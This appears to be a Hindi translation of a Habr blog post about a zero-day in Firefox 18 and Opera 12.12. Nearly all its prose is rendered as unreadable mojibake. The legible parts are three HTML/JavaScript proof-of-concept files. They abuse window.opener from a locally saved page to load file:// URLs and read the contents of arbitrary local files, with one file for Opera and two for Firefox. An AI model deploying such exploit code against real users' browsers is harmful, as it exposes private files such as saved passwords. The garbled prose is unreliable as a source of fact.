рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ 18 рдФрд░ рдУрдкреЗрд░рд╛ 12.12 рдореЗрдВ рд╢реВрдиреНрдп рджрд┐рд╡рд╕ рднреЗрджреНрдпрддрд╛

Window.opener рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдЦреЛрджрдирд╛ рдФрд░ рдкреАрдЯрдирд╛ рдЬрд╛рд░реА рд░рдЦрддреЗ рд╣реБрдП, рдореИрдВ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдФрд░ рдУрдкреЗрд░рд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдПрдХ рдордЬрд╝реЗрджрд╛рд░ рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рде рдЖрдпрд╛ред
рднреЗрджреНрдпрддрд╛ рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдкреГрд╖реНрда рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред



Window.opener рдХреЗ рдкрд░рд┐рд╡рд░реНрддрди рдкрд░ рдЕрдкрд░реНрдпрд╛рдкреНрдд рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рдХрд╛рд░рдг рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИред
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдкреГрд╖реНрда рдореЗрдВ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ HTML рдХреЛрдб рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЬрдм рдпрд╣ рдкреГрд╖реНрда рд╕реНрдерд╛рдиреАрдп рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд▓рдЧрднрдЧ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрдврд╝рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ (рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ)ред

рдУрдкреЗрд░рд╛



рдЪреВрдВрдХрд┐ рднреЗрджреНрдпрддрд╛ рдХрд╛рдлреА рд╕рд░рд▓ рд╣реИ, рдореИрдВ рддреБрд░рдВрдд рд╢реЛрд╖рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рддрд╛ рд╣реВрдВред Window.opener рдХреА рд╕рдорд╕реНрдпрд╛ рдпрд╣рд╛рдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ ред

<html> <body> <script> 
 if((navigator.userAgent.indexOf("Opera") != -1) && (window.location.protocol == "file:")) { //     Opera       file var file=prompt("Example: C:/file.txt "); //   ? if(file){ console.log("File: "+file); document.write("<center>"+ "<a href='data:text/html,"+ // ,   data "<script>"+ "if(window.opener){"+ //  window.opener  "window.opener.location.replace(%22file://"+window.location.hostname+"/"+file+"%22);"+ //        "};%3C%2Fscript%3E"+ "%3Cscript%3E"+ //    script,    "alert(window.opener.document.body.innerHTML);"+ //   :) "%3C%2Fscript%3E"+ "' target='_blank'>"+ //target= _blank "CLICK-CLICK</a>"); }} 
 </script> </body> </html> 


рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╡реАрдбрд┐рдпреЛ:



рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕



рдЗрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рд╢реЛрд╖рдг рдХрд░рдирд╛ рдЕрдзрд┐рдХ рдХрдард┐рди рд╣реИред

рдбреЗрдЯрд╛ рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдХреЗ рд▓рд┐рдП, рдХреЛрдб рдХреЛ рдбрд┐рд╕реНрдХ рдХреА рдЬрдбрд╝ рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдореИрдВрдиреЗ nix'ahs рдкрд░ рдкрд░реАрдХреНрд╖рдг рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рдЗрд╕рд▓рд┐рдП, рдореИрдВ nix'ahs рдореЗрдВ рдХреЛрдб рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред
рдпрд╣рд╛рдВ рдХреЛрдб рдореЗрдВ рджреЛ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ, рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред

рдлрд╝рд╛рдЗрд▓ рдПрдХ (Fir.html):

 <html> <body> <script> 
  if((navigator.userAgent.indexOf("Firefox") != -1) && (window.location.protocol == "file:")){ //     Firefox       file document.write("<center>"+ "<a href='./payload.html'"+ // payload.html " target='_blank'>CLICK-CLICK</a>"); //target=_blank }; 
  </script> </body> </html> 


рджреВрд╕рд░реА рдлрд╝рд╛рдЗрд▓ (рдкреЗрд▓реЛрдбред Html):

 <html> <body> <script> 
 var file=prompt('Example: C:/file.txt'); console.log(file); window.opener.location="file://localhost/"+file; 
 </script> <script> 
 var al=function(){alert(window.opener.document.body.innerHTML)}; //  while(!window.opener.document.body){ //window.opener.document.body=null alert('Click OK'); // al(); //  }; 
 </script> </body> </html> 


рд╡реАрдбрд┐рдпреЛ:



рдирд┐рд╖реНрдХрд░реНрд╖



рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рд╢реЛрд╖рдг рдХреЗрд╡рд▓ рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрдмрдХрд┐ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдкреГрд╖реНрдареЛрдВ рдХреЛ рд╕рд╣реЗрдЬрдирд╛ рдкрд╕рдВрдж рдХрд░рддреЗ рд╣реИрдВ, рдореИрдВ рдЖрдкрдХреЛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддрд╛ рд╣реВрдВ :)

рдпреБрдкреАрдбреА
рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕рдордЭ рдирд╣реАрдВ рд╕рдХрддреЗ рдХрд┐ рдпрд╣ рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреНрдпреЛрдВ рд╣реИред

рдореИрдВ рдЖрдкрдХреЛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрддрд╛ рд╣реВрдВ: рдЖрдкрдиреЗ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд▓реЗрдЦ рдкрд╛рдпрд╛ рд╣реИ рдФрд░ рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЖрдк рдкреНрд░рдХреГрддрд┐ рдореЗрдВ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред рдХреЛрдИ рдЗрдВрдЯрд░рдиреЗрдЯ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдк рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд▓реЗрдЦ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред
рд▓реЗрдХрд┐рди рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рд╣реА рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ HTML рдбреЙрдХреНрдпреВрдореЗрдВрдЯ рд╕реЗрд╡ рдХрд░ рд▓рд┐рдпрд╛ рдерд╛ред рдФрд░ рдЕрдм рдЖрдк рдЖрдЧ рд╕реЗ рдмреИрдареЗ рд╣реИрдВ, рдордЪреНрдЫрд░реЛрдВ рдиреЗ рдЖрдкрдХреЛ рдХрд╛рдЯ рд▓рд┐рдпрд╛ рд╣реИ рдФрд░ рдЖрдкрдиреЗ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдкрдврд╝рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рд╣реИред рдЦреИрд░, рдпрд╣ рдХрд╣рд╛ рд╣реИ, рдХрд┐рдпрд╛! рдЦреЛрд▓рд╛, рдкрдврд╝рд╛, рднреБрд▓рд╛рдпрд╛ рдЧрдпрд╛ред
рдФрд░ рджреЛрдкрд╣рд░ рдореЗрдВ рдЖрдк рдШрд░ рд▓реМрдЯрддреЗ рд╣реИрдВ, рдФрд░ рд╕рд╛рдорд╛рдЬрд┐рдХ рд░реВрдк рд╕реЗ рдЕрдкрдиреЗ рдЦрд╛рддреЗ рддрдХ рдкрд╣реБрдВрдЪрддреЗ рд╣реИрдВред рдХреЛрдИ рдиреЗрдЯрд╡рд░реНрдХ рдирд╣реАрдВ рд╣реИред рдЖрдЦрд┐рд░рдХрд╛рд░, рдЖрдкрдиреЗ рдкрд╛рд╕ * .txt рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдкрд░ рдЕрдкрдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдЫреЛрдбрд╝ рджрд┐рдпрд╛ред

рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЖрд▓реЛрдЪрдирд╛рддреНрдордХ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдПрдХ рдЦрд┐рд▓реМрдиреЗ рд╕реЗ рдЬреНрдпрд╛рджрд╛ рдХреБрдЫ рдирд╣реАрдВ рд╣реИред
рд▓реЗрдХрд┐рди рдХрднреА-рдХрднреА, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдЦрд┐рд▓реМрдиреЗ рднреА рд╢реВрдЯ рдХрд░рддреЗ рд╣реИрдВ;)

UPD2: рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рджреЗрдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдореИрдВ рд╢реЛрд╖рдг рдХреА рдХрд▓реНрдкрдирд╛ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЕрдЪреНрдЫрд╛ рдирд╣реАрдВ рд╣реИред

Source: https://habr.com/ru/post/In165339/


All Articles